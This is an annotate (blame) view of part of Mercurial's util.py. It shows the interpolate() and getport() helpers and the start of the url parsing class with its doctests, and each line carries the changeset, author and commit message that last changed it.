2893 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2894 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2895 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2896 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2897 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2898 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2899 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2900 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2901 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2902 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2903 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2904 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2905 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2906 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2907 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2908 fn = fn or (lambda s: s) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2909 patterns = b'|'.join(mapping.keys()) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2910 if escape_prefix: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2911 patterns += b'|' + prefix |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2912 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2913 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2914 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2915 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2916 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2917 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2918 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2919 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2920 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2921 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2922 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2923 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2924 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2925 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2926 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2927 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2928 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2929 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2930 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2931 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2932 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2933 try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2934 return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2935 except socket.error: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2936 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2937 _(b"no port number associated with service '%s'") % port |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2938 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2939 |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2940 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2941 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2942 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2943 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2944 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2945 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2946 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2947 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2948 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2949 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2950 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2951 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2952 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2953 parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2954 False, both fragment and query are included in path. |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2955 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2956 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2957 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2958 Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2959 take host names. That means 'bundle://../' has a path of '../'. |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2960 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2961 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2962 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2963 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2964 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2965 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2966 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2967 >>> url(b'file:///home/joe/repo') |
14076
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2968 <url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2969 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2970 <url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2971 >>> url(b'bundle:foo') |
14076
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2972 <url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2973 >>> url(b'bundle://../foo') |
14076
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2974 <url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2975 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2976 <url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2977 >>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2978 <url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2979 >>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2980 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2981 >>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2982 <url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2983 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2984 Authentication credentials: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2985 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2986 >>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2987 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2988 >>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2989 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2990 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2991 Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2992 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2993 >>> url(b'http://host/a?b#c') |
14076
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2994 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2995 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2996 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2997 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2998 Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2999 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3000 >>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3001 <url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3002 >>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3003 <url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3004 >>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3005 <url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3006 >>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3007 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3008 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3009 Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3010 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3011 >>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3012 <url scheme: 'http'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3013 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3014 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3015 _safechars = b"!~*'()+" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3016 _safepchars = b"/!~*'()+:\\" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3017 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3018 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3019 def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
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|
3020 # We slowly chomp away at path until we have only the path left |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
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|
3021 self.scheme = self.user = self.passwd = self.host = None |
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
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|
3022 self.port = self.path = self.query = self.fragment = None |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3023 self._localpath = True |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3024 self._hostport = b'' |
14076
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3025 self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
3026 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3027 if parsefragment and b'#' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3028 path, self.fragment = path.split(b'#', 1) |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
3029 |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
3030 # special case for Windows drive letters and UNC paths |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3031 if hasdriveletter(path) or path.startswith(b'\\\\'): |
14076
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Brodie Rao <brodie@bitheap.org>
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diff
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|
3032 self.path = path |
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diff
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|
3033 return |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3034 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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14064
diff
changeset
|
3035 # For compatibility reasons, we can't handle bundle paths as |
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Brodie Rao <brodie@bitheap.org>
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14064
diff
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|
3036 # normal URLS |
43077
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3037 if path.startswith(b'bundle:'): |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3038 self.scheme = b'bundle' |
14076
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Brodie Rao <brodie@bitheap.org>
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diff
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|
3039 path = path[7:] |
43077
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3040 if path.startswith(b'//'): |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
3041 path = path[2:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
3042 self.path = path |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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14064
diff
changeset
|
3043 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3044 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3045 if self._matchscheme(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3046 parts = path.split(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3047 if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3048 self.scheme, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3049 self._localpath = False |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3050 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3051 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3052 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3053 if self._localpath: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3054 self.path = b'' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3055 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3056 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3057 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3058 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3059 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3060 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3061 if parsequery and b'?' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3062 path, self.query = path.split(b'?', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3063 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3064 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3065 if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3066 self.query = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3067 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3068 # // is required to specify a host/authority |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3069 if path and path.startswith(b'//'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3070 parts = path[2:].split(b'/', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3071 if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3072 self.host, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3073 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3074 self.host = parts[0] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3075 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3076 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3077 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3078 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3079 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
3080 if path and not hasdriveletter(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3081 path = b'/' + path |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3082 |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3083 if self.host and b'@' in self.host: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3084 self.user, self.host = self.host.rsplit(b'@', 1) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3085 if b':' in self.user: |
687b865b95ad
